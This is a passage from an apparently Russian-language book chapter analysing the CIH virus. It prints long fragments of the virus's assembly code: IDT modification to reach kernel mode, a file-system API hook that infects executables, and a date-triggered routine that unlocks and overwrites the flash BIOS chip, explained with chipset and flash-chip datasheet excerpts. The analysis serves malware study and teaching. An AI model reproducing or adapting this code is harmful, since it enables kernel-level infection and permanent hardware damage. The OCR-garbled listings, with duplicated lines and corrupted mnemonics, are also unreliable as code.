; Сохраняем базовый адрес обработчика
; исключения (биты 0-15) регистра ebp
lea
esi, MyExceptionHook-@l[есх]
; esi = MyExceptionHook -
; StopToRunVirusCode + адрес метки во время исполнения
; StopToRunVirusCode.
; т. е. esi = динамический адрес метки MyExceptionHook
Push
esi; Сохраняем в стек динамический адрес метки MyExceptionHook
mov
[ebx-04h], si
; Модифицируем адрес точки входа
~®«3ак 1387
; обработчика исключения
; (биты 0-15)
shr esi, 16; si = адрес точки входа обработчика исключения
; (биты 16-31)
mov [ebx+02h], si
; Модифицируем адрес точки входа
; обработчика исключения
; (биты 16-31)
pop esi; esi = динамический адрес метки MyExceptionHook
Разобраться с работой процедуры, осуществляющей модификацию таблицы IDT, не так уж просто. Для упрощения этой задачи, рассмотрим содержимое стека во время ее исполнения. Сначала процедура проталкивает на стек фиктивное 32-разрядное значение. Затем она сохраняет физический адрес таблицы IDT и ее предел в стеке. Содержимое стека после исполнения инструкции sidt в листинге 12.3 показано на рис. 12.2.
Содержимое стека
espespПредел IDT (16 битов)Предел IDT (16 битов)esp - 02hesp - 02hНачальный адрес IDT (32 бита)Начальный адрес IDT (32 бита)Это двойное слово изначально содержало фиктивное значение из регистра ЕАХЭто двойное слово изначально содержало фиктивное значение из регистра ЕАХ
esp
esp
Предел IDT (16 битов)
Предел IDT (16 битов)
esp - 02h
esp - 02h
Начальный адрес IDT (32 бита)
Начальный адрес IDT (32 бита)
Это двойное слово изначально содержало фиктивное значение из регистра ЕАХ
Это двойное слово изначально содержало фиктивное значение из регистра ЕАХ
Рис. 12.2. Содержимое стека перед модификацией таблицы ЮТ
После исполнения инструкции sidt, 32-разрядный физический адрес таблицы IDT выталкивается со стека в регистр ebx и используется как базовый адрес для вычисления элемента таблицы IDT, который подлежит модификации. В листинге 12.3 показано, что для ссылки на элемент таблицы IDT, подлежащий модификации, используется константа HookExceptionNumber. В ИСХОДНОМ коде вируса CIH 1.5 мы также видим, что при ассемблировании константа HookExceptionNumber будет заменена значением 4 или б. Элемент 4 таблицы IDT соответствует исключению переполнения (overflow), а элемент б — иС" ключению недействительного кода операции (invalid opcode). Но в первоначальных исполняемых файлах вируса ни одно из этих значений никогда не использовалось. Вместо них использовалось значение 3, соответствуют66 исключению контрольной точки (breakpoint exception). Модификация эле мента 3 таблицы IDT имела свои преимущества, так как это сбивало с толкУ отладчики, таким образом усложняя для разработчиков антивирусов задачУ
анализа кода вируса CIH. В листинге 12.4 показан фрагмент дизассемблированного кода вируса CIH, номер сборки 2690, в котором для перехода в ре- я(Им ядра применяется номер исключения 3 (int 3h).
1ИСТИНГ 12.4. Применение int 3h в вирусе CIH
READER:010002Е2 loc_10002E2:
HEADER: 010002Е2 int 3; Антиотладочный прием
HEADER:010002ЕЗ jmp short loc_10002E6
Возвращаясь к листингу 12.3, мы видим, что модифицированный элемент таблицы IDT указывает на адрес метки MyExceptionHook во время исполнения. Таким образом, при возникновении исключения с номером, совпадающим с константой HookExceptionNumber, управление исполнением кода вируса перейдет К метке MyExceptionHook. Это Приводит НДС КО второму компоненту кодового сегмента вируса (см. рис. 12.1) — процедуре обработчика исключения. Эта процедура обозначена меткой MyExceptionHook. Переход к этой процедуре обработчика исключения и ее содержимое показаны в листинге 12.5.
Листинг'" 2.5 Процедура пбработчйка Исключения
int HookExceptionNumberint HookExceptionNumberReturnAddressOfEndException = $ReturnAddressOfEndException = $; Создаем исключение -> переходим к
int HookExceptionNumber
int HookExceptionNumber
ReturnAddressOfEndException = $
ReturnAddressOfEndException = $
; процедуре. MyExceptionHook ->
; выделяем системную память
; для этого вируса.
; Адрес возврата завершения
; исключения = $
Соединяем все секции кода вируса
push esi
' * Первоначальное приложение режима ядра Virus Game
MyExceptionHook:MyExceptionHook:@2@2= MyExceptionHookjz InstallMyFileSystemApiHook= MyExceptionHookjz InstallMyFileSystemApiHook; При первом проходе,; При первом проходе,
MyExceptionHook:
MyExceptionHook:
@2
@2
= MyExceptionHook
jz InstallMyFileSystemApiHook
= MyExceptionHook
jz InstallMyFileSystemApiHook
; При первом проходе,
; При первом проходе,
602
Часть IV. Внесение изменений в код Biq^
; переход не выполняется.
; При втором проходе,
; переход выполняется.
. ********************************,
н********
; * Проверяем, инфицирована ли уже
система *
mov ecx, drO
jecxz AllocateSystemMemoryPage
; При первом проходе переход
; выполняется потому, что
; значение по умолчанию для DR0
; при загрузке - 0
; * Выделяем страницу системной памяти *
AllocateSysterrMemoryPage:
mov drO, ebx
; Устанавливаем признак инфицирования системы
push OOOOOOOOfh
push есх
; При первом проходе - проталкиваем 0
push Offffffffh
push есх
; При первом проходе - проталкиваем 0
push есх
; При первом проходе - проталкиваем 0
push есх
; При первом проходе - проталкиваем 0
push OOOOOOOOlh
push 000000002h
int 2Oh
; VMMCALL _PageAllocate
PageAllocate = $
dd 00010053h
; Используем регистры EAX, ECX, EDX и флаги
add esp, 08h*04h
; Выравниваем указатель стека
xchg edi, eax
; EDI = начальный адрес выделенной
; системной памяти
lea eax, MyVirusStart-@2[esi]
; eax = MyVirusStart — MyExceptionHook +
; + адрес метки во время исполнения
; MyExceptionHook;
; т. е. адрес метки во время исполнения
; MyVirusStart.
iretd
; Возвращаемся к первоначальной программе
; пользовательского режима.
^огда вирус CIH вызывает исключение с помощью инструкции int (листИнг 12.5), управление передается к метке MyExceptionHook. Во время исполнения этого перехода, контекст исполнения кода переключается из пользовательского режима в режим ядра. Поэтому к моменту прибытия к метке MyExceptionHook код вируса уже исполняется в режиме ядра. Это означает, что вирус в данный момент полностью контролирует систему. В этот момент флаг признака нуля (zero flag) не установлен, и отладочные регистры все еще содержат значения по умолчанию3. Таким образом, код вируса CIH вызывает функцию ядра _РадеА1 locate, чтобы выделить системную память для нужд вируса. Так как на данном этапе код вируса исполняется в режиме ядра, он может вызывать функции ядра напрямую. После выделения системной памяти, посредством инструкции iretd ход исполнения вируса CIH возвращается к точке в коде, следующей сразу же за инструкцией int, которая вызвала данное исключение. Это точка, следующая сразу же за комментарием "Соединяем все секции кода вируса". Во время исполнения этого перехода, контекст исполнения кода также переключается из режима ядра в пользовательский режим.
Строки кода, следующие сразу же после первого исключения, копируют код вируса в выделенную системную память, а затем устанавливают флаг признака нуля. После этого вирус вызывает такое же исключение, как и раньше. Но, в отличие от предыдущего исключения, на этот раз флаг признака нуля уже установлен. Поэтому ход исполнения вируса переходит к метке MyExceptionHook и устанавливает перехватчик интерфейса файловой системы. Этот процесс показан в листинге 12.6.
Листинг 12.6. Процедура для установки перехватчика интерфейса файловой системы
; * Соединяем все секции кода вируса *
push esi
mov esi, eax; esi = адрес выделенной системной памяти
^°POfMergeAllVirusCodeSection:; Цикл соединения всех секций вируса
Windows 9а не модифицирует значения отладочных регистров во время загрузки. °этому значения при включении питания и сбросе регистров dro—DR3, т. е. °°000000h, сохраняются. Значения отладочных регистров при включении питания После сброса см. в Intel 64 and IA-32 Intel Architecture Software Developer's Manual: °м ЗА, Таблица 9-1.
mov
ecx, [eax-04h]; ecx = Virussize -> Подсказка: Посмотрите
; в конце OriginalAppEXE.
rep sub
movsb; Копируем вирус в системную память.
eax, 08b
mov
esi, [eax]
or
esi, esi; При первом проходе, esi = 0
jz
jnp
QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 LoopOfMergeAllVirusCodeSection; Переход к циклу соединения
; всех секций вируса.
QuitLoopOfMergeAllVirusCodeSection: pop esi
; Выход из цикла соединения ; всех секции вируса.
Генерируем новое исключение
int HookExceptionNuniber
; Создаем исключение опять -> переходим к
; процедуре MyExceptionHook ->
; устанавливаем перехватчик
; интерфейса файловой системы.
; * Восстанавливаем структурированную *
; * обработку исключений*
ReadyRestoreSE:
sti
xor ebx, ebx jnp RestoreSE
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; eax = динамический адрес метки
; FileSystemApiHook
Возвращаем управление исполнением первоначальному приложению
pop ebp
push 00401000b
; Проталкиваем точку входа первоначального ; приложения на стек.
originalAddressOfEntryPoint = $-4 ret; Возвращаемся к точке входа первоначального
; приложения.
. * Первоначальное приложение режима *
. * ядра (Ring 0) Virus Game*
MyExcept i onHook:
@2= MyExceptionHook
jz InstallMyFileSystemApiHook; При первом проходе,
; переход не выполняется. ; При втором проходе, ; переход выполняется.
; * Возвращаемся к первоначальной программе * ; * пользовательского режима
ExitRingOInit:
mov [ebx-04h], bp;
shr ebp, 16
mov [ebx+02h], bp
; Восстанавливаем исключение.
iretd
; Выполняем переход к метке ; ReadyRestoreSE.
• * Устанавливаем перехватчик интерфейса *
; * API файловой системы*
InstaiiMyFi1eSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
; eax = динамический адрес
; FileSystemApiHopk в выделенных страницах ; системной памяти.
push еахint2Ohpush еахint2Oh; VXDCALL IFSMgr_InstallFileSystemApiHook; VXDCALL IFSMgr_InstallFileSystemApiHook
push еах
int2Oh
push еах
int2Oh
; VXDCALL IFSMgr_InstallFileSystemApiHook
; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067b; Используем регистры EAX, ЕСХ, EDX и флаги.
; Эта переменная модифицируется диспетчером ; VMM Windows 9х, чтобы указывать на настоящую ; процедуру IFSMgr_InstallFileSystemApiHook ; при обработке прерывания int 20b.
movdrO, eax; Сохраняем старый адрес OldFileSystemApiHook.
popeax; EAX = Динамический адрес FileSystemApiHook
; в выделенной системной памяти.
; Сохраняем старую точку входа ; IFSMgr_InstallFileSystemApiHook.
mov есх, IFSMgr_InstallFileSystemApiHook-@2[esi] ; есх = Указатель на точку входа функции ; IFSMgr_InstallFileSystemApiHook.
mov edx, [есх]; edx = Точка входа функции
; IFSMgr_InstallFileSystemApiHook в системе.
mov 01dInstallFileSystemApiHook-@3[eax], edx ; Сохраняем адрес старой функции ; IFSMgr_InstallFileSystemApiHook ; в выделенной системной памяти. ; Модифицируем точку входа функции ; IFSMgr_InstallFileSystemApiHook.
lea eax, InstallFileSystemApiHook-@3[eax] ; eax = динамический адрес метки ; InstallFileSystemApiHook ; в выделенной системной памяти.
mov [есх], еах; Модифицируем точку входа функции
; IFSMgr_InstallFileSystemApiHook чтобы ; указывала на специальную процедуру этого ; вируса в выделенной системной памяти.
cli
jmp ExitRingOInit
Размер кода секции соединения вируса
CodeSizeOfMergeVirusCodeSection = offset $
IFSMgr_InstallFileSystemApiHook
InstallFileSystemApiHook: push ebx call @4
pop ebx; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 push ebx
int 20h; VXDCALL IFSMgr_RemoveFileSystemApiHook
lFSMgr_RemoveFileSystemApiHook = $
dd 00400068b; Используем регистры EAX, ECX, EDX и флаги,
pop eax
; Вызываем первоначальную функцию ; IFSMgr_InstallFileSystemApiHook
; чтобы подсоединить клиента FileSystemApiHook. push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax
; Вызываем первоначальную функцию ; IFSMgr_InstallFileSystemApiHook ; чтобы подсоединить свою FileSystemApiHook. push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov drO, eax; Корректируем адрес OldFileSystemApiHook
pop eax pop ebx ret
Статические данные
OldlnstallFileSystemApiHook dd ?
IFSMgr_FileSystemHook
Точка входа IFSMgr_FileSystemHook
FileSystemApiHook:
®3= FileSystemApiHook
pushad
call @5 ;
@5;.
Pop esiPop esi; mov esi, offset VirusGameDataStartAddress
Pop esi
Pop esi
add esi, VirusGameDataStartAddress-@5
; esi = динамический адрес VirusSize.
Возможно, несмотря на все объяснения, данные в листинге 12.6, понимание хода исполнения вируса вам все еще не до конца ясно. В этом нет ничего удивительного так как вирусописатели умышленно делают код своих творений сложным и запутанным. Поэтому рассмотрим блок-схему, отражающую ход исполнения вируса (рис. 12.3). Метки и функции из кода в листинге 12.6 представлены здесь как логические блоки, работа которых объясняется комментариями.
Примечание
Шрифтом Courier new обозначаются метки или имена функций в исходном коде вируса.
Рис. 12.3. Установка перехватчика интерфейса API файловой системы
ца рис. 12.3 показана установка перехватчика API файловой системы в ядро операционной системы. Таким образом, этот перехват исполняется при каждом вызове интерфейса API файловой системы. Обратите внимание, что после установки перехватчика, исполнение кода вируса CIH становится нелинейным. Перехватчик интерфейса API файловой системы находится в неактивном состоянии и исполняется только тогда, когда операционная система де- дает запрос на его исполнение. Это поведение во многом напоминает поведение драйвера устройства. Как можно видеть в исходном коде вируса, этот перехватчик проверяет тип исполняемой операции и инфицирует только исполняемые файлы. На данном этапе перехватчик интерфейса файловой системы является резидентным элементом системы. Его можно рассматривать как компонент ядра. Он копируется в системную память, выделенную для его нужд в начале листинга 12.6. На рис. 12.4 показано расположение вируса в системном виртуальном адресном пространстве сразу же после установки перехватчика интерфейса API файловой системы.
"VxD (Virtual Device Driver) - виртуальный драйвер устройства "VMM (Virtual Memory Manager) - диспетчер виртуальной памяти
Рис. 12.4. Расположение вируса CIH в памяти после установки перехватчика
Не забывайте, что перехватчик интерфейса API файловой системы вызываетСя> когда операционная система выполняет действия, связанные с файлом. К таким действиям относятся открытие, закрытие, чтение или запись файла. Код перехватчика интерфейса API файловой системы довольно объемистый. Поэтому я приведу только те его фрагменты, которые представляют интерес
(листинг 12.7). В частности, в этом листинге показано, как вирус разрущает содержимое BIOS. Именно этому вопросу и будет уделено основное внимание
Листинг 12.7. Код перехватчика интерфейса АР! файловой системы
Точка входа IFSMgr_FileSystemHook
FileSystemApiHook:
@3= FileSystemApiHook
pushad
call @5
@5:
pop esi; mov esi, offset VirusGameDataStartAddress
addesi, VirusGameDataStartAddress-@5
; esi = динамический адрес VirusSize
CloseFile: xoreax, eax
movah, 0d7h
call edi; VXDCall IFSMgr_RingO_FileIO
' Проверяем, нужно ли восстановить
: время модификации файла
popf
pop jnc
esi
IsKi1iComputer
; * Проверяем, время ли выводить из строя BIOS *
I sKi 1 iCoirputer:
; Получаем текущее число из CMOS BIOS
moval,07h
out7Oh, al
inal,71h
xoral,Olh ; ??/2б/???? - странно, здесьдолжно
; быть "xor al, 26h"
jf debug
jnp DisableOnBusy
ELSE
jnz DisableOnBusy
endif
; * Выводим из строя EEPROM BIOS *
mov bp, 0cf8hmov bp, 0cf8hlea esi, IOForEEPROM-@7[esi]lea esi, IOForEEPROM-@7[esi]; bp = порт адреса конфигурационного
mov bp, 0cf8h
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
lea esi, IOForEEPROM-@7[esi]
; пространства PCI
; esi = динамический адрес lOForEEPROM
; * Отобразить страницу BIOS*
; * в диапазоне 000E0000-000EFFFF*
; *(64 Кбайт)*
mov
edi,
8000384ch
mov
dx,
Ocfeh
cli
call
esi
; edi = шина PCI 0, устройство 7, смещение 4Ch
; Обращаемся к смещениям 4Eh-4Fh южного моста.
; Примечание: Южный мост должен быть Intel PI1X4
; Вызываем lOForEEPROM -> разрешаем
; доступ к чипу BIOS
; * Отобразить страницу BIOS*
; * в диапазоне 000F0000-000FFFFF*
(64 Кбайт)
niov di, 0058h; Регистр 59h северного моста чипсетов
; Intel 430ТХ и'440ВХ служит для отображения ; диапазонов адресов BIOS на память.
dec edx; Указываем не регистр 59h
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
; Меняем код операции в метке BooleanCalculateCode
; на "and al, Ofh";
; т. е. направляем операции чтения-записи
; в чип BIOS через шину PCI.
call esicall esi; Вызываем lOForEEPROM.
call esi
call esi
; Отобразить дополнитеные данные BIOS * ; * в диапазон памяти*
; * 000E0000-000E01FF*
; *(512 байт)*
* и разрешить запись*
lea
mov
mov call
mov
ehx, EnableEEPR0MToWrite-@10[esi]
eax, 0e5555h
ecx, 0e2aaah
ehx; Вызываем EnableEEPROMToWrite
; (Разрешить запись в EEPROM)
byte ptr [eax], 60h; Это странно, чтобы разрешить запись в BIOS
push loop
ecx $
; здесь должно быть "mov byte ptr ; "mov byte ptr [eax], 60h" — это
; Задержка
[eax], 20h", a
команда product ID
; * Затереть данные BIOS * ; * в диапазоне памяти * ; * 000E0000-000E007F * ; * (80h байт) *
; Записываем 55h по адресу e0055h; Записываем 55h по адресу e0055hxor ah, ah mov [eax], al
; Записываем 55h по адресу e0055h
; Записываем 55h по адресу e0055h
xchg ecx, eax loop $; Задержка
mov eax, 0f5555hmov eax, 0f5555hpop ecx mov ch, Oaah call ehxpop ecx mov ch, Oaah call ehxmov byte ptr [eax], 20hmov byte ptr [eax], 20h; Вызываем EnableEEPROMToWrite
mov eax, 0f5555h
mov eax, 0f5555h
pop ecx mov ch, Oaah call ehx
pop ecx mov ch, Oaah call ehx
mov byte ptr [eax], 20h
mov byte ptr [eax], 20h
; (Разрешить запись в EEPROM)
; Разрешить запись в чип BIOS.
loop $; Задержка
* Разрушаем данные основной *
* ROM BIOS в памяти по адресу *
* 000FE000-000FE07F*
*(8Oh байтов)*
mov ah, OeOh
; Записываем 55h по адресу fe055h; Записываем 55h по адресу fe055hmov [eax], al
; Записываем 55h по адресу fe055h
; Записываем 55h по адресу fe055h
; * Скрыть страницу BIOS*
; * в диапазоне 000F0000-000FFFFF*
; *(64 Кбайт)*
mov word ptr (BooleanCalculateCode-@10)[esi], lOOch
; Меняем код операции в метке BooleanCalculateCode на ; "or al,10h"; т. е. направляем операции чтения
; в теневую DRAM,
; а операции записи в чип BIOS через шину PCI.
Call esi; Вызываем lOForEEPROM.
; Примечание: Содержимое регистров edi и ebp ; сохранено с предыдущего вызова.
; * Разрешаем запись в EEPROM *
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov (ecx], al ret
; * Ввод-вывод для БЕРНОМ * , ****************************
lOForEEPROM:
@10= lOForEEPROM
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx
BooleanCalculateCode = $ or al, 44h; Разрешаем доступ к EEPROM для PIIX
; При втором проходе, этот код операции меняется ; на "and al, Ofh"
; При третьем проходе, этот код операции меняется ; на "or al, 10h"
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
При изучении кода, выводящего BIOS из строя (листинг 12.7), вам потребуются технические спецификации на чипсеты Intel 440ВХ и Intel 430ТХ, на универсальный контроллер Intel 82371 АВ (PIIX4), а также на чипы флэш- ROM Winbond W29C020C и SST29EE010.
Начнем наше исследование с точки входа процедуры вывода из строя BIOS. После закрытия файла (код, следующий за cioseFiie), выполняется проверка необходимости восстановления времени модификации файла, и осуществляется условный переход jnc isKiiicomputer. Код вируса проверяет, совпадает ли дата, сохраненная в CMOS, с предопределенной датой в коде вируса- В случае совпадения, вызывается код вывода из строя BIOS.
Сама процедура вывода BIOS из строя в первую очередь разрешает доступ к чипу BIOS. Осуществляет она это посредством конфигурирования регистра выбора чипа шины X-Bus (X-Bus Chip Select register) в южном мосту Intel рПХ4. Код для этого процесса показан в листинге 12.8.
Листинг 12,8. Разрешение доступа к чипу BIOS
mov
edi, 8000384ch; edi = шина PCI 0, устройство 7, смещение 4Ch
mov
dx, Ocfeh; Обращаемся к смещениям 4Eh-4Fh южного моста
; Примечание: Южный мост должен быть Intel PI1X4
cli
call
esi; Вызываем lOForEEPROM -> разрешаем доступ
; к чипу BIOS
lOForEEPROM:
@10
= lOForEEPROM
xchg xchg
eax, edi
edx, ebp
out
dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h; Разрешаем доступ к EEPROM для PIIX
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
Регистр 4Eh южного моста PIIX4 управляет доступом к чипу BIOS. В частности, он отвечает за декодирование диапазона адресов чипа BIOS. Рассмотрим следующую выдержку из спецификации технических характеристик 4 этого южного моста.
Выдержка из спецификации южного моста PIIX4
Регистр XBCS (X-Bus Chip Select) — РЕГИСТР ВЫБОРА ЧИПА ШИНЫ X-BUS (ФУНКЦИЯ 0)
Адрес смещения: 4E-4Fh
Значение по умолчанию: озь
Атрибут: Чтение-запись.
Этот регистр разрешает или запрещает доступ к внешним часам реального времени, контроллеру клавиатуры, усовершенствованному программируемому контроллеру прерываний ввода-вывода (I/O APIC — advanced programmable interrupt controller), вспомогательному контроллеру и BIOS. Запрещающая установка любого из этих битов предотвращает генерацию управляющих сигналов выбора чипа (chip select) и разрешения вывода шины X-Bus (X-bus output enable, хое#). Кроме того, этот регистр предоставляет функции обработки ошибок сопроцессора и мыши.
Бит
Описание
6
Разрешение доступа к нижней области BIOS. Когда бит 6=1 (доступ разрешен), обращения "хозяина" шины PCI или ISA К НИЖНему 64-баЙТНОМу блоку BIOS (EOOOO-EFFFFh) в конце первого мегабайта памяти или к его псевдонимам (aliases) в конце первых 4 Мбайт (FFFEOOOO-FFFEFFFFh) генерируют сигналы bioscs# (BIOS Chip Select) and xoe# (X-bus Output Enable). Когда обращения к области адресов в конце первых 4 Мбайт направляются на шину ISA, линии адреса ISA LA[23:20] устанавливаются в 1. Таким образом, эта область совмещается с диапазоном адресов в конце 16-Мбайтного адресного пространства. Чтобы избежать ЭТОГО конфликта, В данной области (OOFEOOOO-OOFEFFFFh) не должно быть памяти ISA. Когда значение бита 6 = 0, PIIX4 не генерирует сигналов bioscs# или хое# при этих операциях доступа и не направляет обращения к ISA
2
Управление сигналом защиты от записи BIOSCS# (bioscs# Write Protect Enable). Значение 1 соответствует опции "Разрешено". (Сигнал bioscs# активируется для циклов чтения и записи памяти BIOS в декодированном диапазоне адресов BIOS). Значение 0 соответствует опции "Запрещено" (Сигнал bioscs# активируется только для циклов чтения BIOS)
Обратите внимание, что южный мост PIIX4 может работать с тремя северными мостами Intel — Intel 440ВХ, 430ТХ и 440МХ.
Следующая процедура, которую мы рассмотрим, отображает адреса BIOS на физический чип BIOS (не на теневую BIOS в DRAM). Исходный код этой процедуры показан в листинге 12.9.
mov
di, 0058h; Регистр 59h северного моста чипсетов Intel 430TX
; и 440BX служит для отображения диапазонов адресов ; BIOS на память.
dec
edx; Указываем на регистр 59h
mov
word ptr (BooleanCalculateCode-@10)lesi], 0f24h
; Меняем код операции в метке BooleanCalculateCode ; на "and al, Ofh";
; т. e. указываем операцию чтения-записи в чип
; BIOS через шину PCI.
call
esi; Вызываем IGForEEPROM.
IGForEEPROM:
@10= IGForEEPROM
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx
BooleanCalculateCode
= $
and al, Ofh
; Направляем операции чтения-записи в чип
; BIOS через шину PCI.
; Примечание: Это динамический код операции ; после модифицирования.
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
Для понимания кода, представленного в листинге 12.9, необходимо ознакомиться с соответствующей информацией из спецификации чипсетов Intel 440ВХ/430ТХ. Здесь приводится минимально необходимый фрагмент из спецификации чипсета Intel 440ВХ. Полный текст этой спецификации доступен Для скачивания по адресу ftp://download.intel.com/design/chipsets/datashts/ 29063301.pdf.
Фрагмент из спецификации чипсета Intel 440ВХ
рам[6:0] — Регистры рам (Programmable Attribute Map Registers — регистры карты программируемых атрибутов) (Устройство 0)
Смещение адреса: 59h (PAM0)-5Fh (рдмб)
Значение по умолчанию: ooh
Атрибут: Чтение-запись.
Контроллер хоста 82443ВХ позволяет устанавливать программируемые атрибуты памяти на 13 наследуемых сегментов памяти различного объема в диапазоне адресов от 640 Кбайт до 1 Мбайта. Эти возможности реализуются при помощи семи регистров РАМ (Programmable Attribute Map — карта программируемых атрибутов). Возможность кэширования этих областей контролируется при помощи регистров mtrr процессора Р6. Для установки атрибутов каждого сегмента памяти используется два бита. Значения этих битов распространяются на обращения к диапазонам памяти как со стороны процессора, так и со стороны инициатора PCI (PCI initator). Имеются следующие атрибуты:
RE (Read Enable — разрешение чтения). Когда RE = 1, обращения на чтение от процессора к соответствующему сегменту памяти перехватываются контроллером 82443ВХ и направляются в основную память. Когда RE = 0, обращения процессора на чтения направляются на шину PCI.
WE (Write Enable — разрешение записи). Когда WE = 1, обращения на чтение от процессора к соответствующему сегменту памяти перехватываются контроллером 82443ВХ и направляются в основную память. Когда, наоборот, WE = 0, обращения процессора на запись направляются к шине PCI.
При помощи атрибутов RE и WE сегмент памяти может быть установлен в состояния "только чтение" (read only), "только запись" (write only), "чтение и запись" (read/write) или "запрещено" (disabled). Например, если атрибуты сегмента памяти установлены в RE=1 и WE=0, то состояние данного сегмента — "только чтение".
Каждый регистр РАМ контролирует две области, обычно объемом в 16 Кбайт. Каждой из этих областей соответствует 4-битное поле регистра. Кодировка этих четырех битов одинакова для каждой из двух областей и определена в следующей таблице.
Таблица назначения атрибутов битов
БитыБиты
[5,1]WE[4,0] RE
Описание
00
Заблокировано. DRAM заблокирована, и все обращения направляются к PCI. Контроллер 82443ВХ не отвечает как исполнитель PCI на любые обращения чтения или записи к этой области
Таблица назначения атрибутов битов (окончание)
Биты [5,1]WE
Биты [4, 0] RE
Описание
0
1
Только чтение. Обращения на чтение направляются к DRAM, а обращения на запись направляются к шине PCI для завершения. Таким образом, предотвращается запись в соответствующий сегмент памяти. Контроллер 82443ВХ отвечает как исполнитель PCI на любые обращения чтения этой области, но не отвечает на обращения записи к ней
1
0
Только запись. Обращения на запись направляются к DRAM, а обращения на чтение направляются к шине PCI для завершения. Контроллер 82443ВХ отвечает как исполнитель PCI на любые обращения записи в эту область, но не отвечает на обращения чтения к ней
1
1
Чтение-запись. Это — нормальный режим работы основной памяти. Обращения процессора как на чтение, так и на запись забираются контроллером 82443ВХ и направляются к DRAM. Контроллер 82443ВХ отвечает как исполнитель PCI как на обращения на чтения, так и на обращения на запись
Для примера, рассмотрим BIOS, реализованную на шине расширения. В ходе инициализации, данную BIOS можно затенять в основную память, чтобы повысить производительность системы. При затенении BIOS в основную память, ее необходимо скопировать в область с совпадающими адресами. Чтобы можно было затенять BIOS, атрибуты соответствующего диапазона адресов должны быть установлены в значение "только для записи". Процесс затенения BIOS начинается с обращения на чтение по данному диапазону адресов. Это обращение направляется на шину расширения. После этого процессор исполняет запись по тому же адресу. Это обращение направляется в основную память. После затенения BIOS, атрибутам данной области памяти устанавливается значение "только для чтения", чтобы все обращения на запись направлялись на шину расширения. Регистры РАМ и соответствующие биты атрибутов показаны в следующей таблице.
Регистры РАМ и соответствующие сегменты памяти
Регистр РАМ
Биты атрибутов
Сегмент памяти
Примечание
Смещение
РАМО [3:0]
Зарезервировано
59h
РАМО[7:4]
R
R
W Е
RE
OFOOOOh- OFFFFFh
Область BIOS
59h
Сравнивая только что приведенный фрагмент спецификации и листинг 12.9 можно заключить, что процедура, приведенная в листинге 12.9, конфигури^ рует северный мост таким образом, чтобы все обращения к диапазону адре. сов чипа BIOS направлялись к шине PCI, а оттуда — к чипу BIOS.
Следующая процедура разрешает запись в чип BIOS. Как было показано в главе 9, большая часть диапазонов чипа BIOS по умолчанию защищена от записи. Чтобы разрешить запись в чип, необходимо ввести специальную последовательность байтов. Эту задачу выполняет фрагмент кода, приведенный в листинге 12.10.
Листинг 12.10. Разрешение записи в чип BIOS
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx; Вызываем EnableEEPROMToWrite
; (Разрешить запись в EEPROM)
mov byte ptr [eax], 60h; Это странно, чтобы разрешить запись в BIOS
; здесь должно быть "mov byte ptr [eax], 20h";
; "mov byte ptr [eax], 60h" - это команда ID
; продукта.
; Задержка; Задержкаpush ecx loop $
; Задержка
; Задержка
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret
Если вам трудно понять код, приведенный в листинге 12.10, попробуйте сравнить значения, записываемые в диапазоны адресов чипа BIOS, со значениями, уже содержащимися в другом чипе BIOS, используемом как образец- Для этой цели, здесь приводится фрагмент спецификации технических характеристик чипа Winbond 29С020С. Как указано в спецификации на данный чип, он поддерживает функцию программной защиты от перезаписи. Эта функция может быть активизирована или блокирована по желанию пользователя. Для осуществления этих задач необходимо выполнить серию команд,
осуществляющих запись предопределенных данных по предопределенным адресам чипа BIOS.
Фрагмент спецификации на чип Winbond 29С020С
Коды команд для программной защиты данных от непреднамеренного стирания или перезаписи (функция Software Data Protection)
Последовательность байтов
Включить защиту
Выключить защиту
Адрес
Данные
Адрес
Данные
0 Запись
5555h
AAh
5555h
AAh
1 Запись
2AAAh
55h
2AAAh
55h
2 Запись
5555h
AOh
5555h
80h
3 Запись
-
-
5555h
AAh
4 Запись
-
-
2AAAh
55h
5 Запись
-
-
5555h
2 Oh
Как видите, для включения защиты чипа Winbond 29С020С требуется выполнить последовательность из трех команд, а для блокировки этой защиты — последовательность из шести команд. Обратите внимание, что адреса назначения транзакций записи в память, показанные в только что приведенном фрагменте спецификации, являются 16-битными значениями. Таким образом, необходимо точно указывать только младшие 16 битов адреса назначения, а задавать точные значения старших битов нет необходимости. При условии, что указанный адрес назначения, в котором младшие 16 битов совпадают со значениями, указанными в только что приведенном фрагменте спецификации, лежит в диапазоне адресов чипа BIOS, чип интерпретирует этот запрос как "команду". Иными словами, такие обращения на запись к чипу BIOS будут интерпретироваться не как "нормальные" транзакции, а как команды для конфигурирования внутренних настроек чипа BIOS. При этом не важно, какое значение указано в качестве адреса назначения для инструкции mov — это может быть, например, e5555h или f5555h. Так как оба адреса находятся в пределах диапазона адресов чипа BIOS, он будет интерпретировать их одинаково. Таким образом, при активации или блокировке функции программной защиты содержимого чипа BIOS от перезаписи необходимо правильно Указывать последовательности байтов данных и соответствующие им 16битные предопределенные адреса. Иными словами, эти последовательности команд и предопределенные адреса должны вводиться в точности так, как °ни указаны в спецификации на соответствующий чип BIOS. Попытка записи
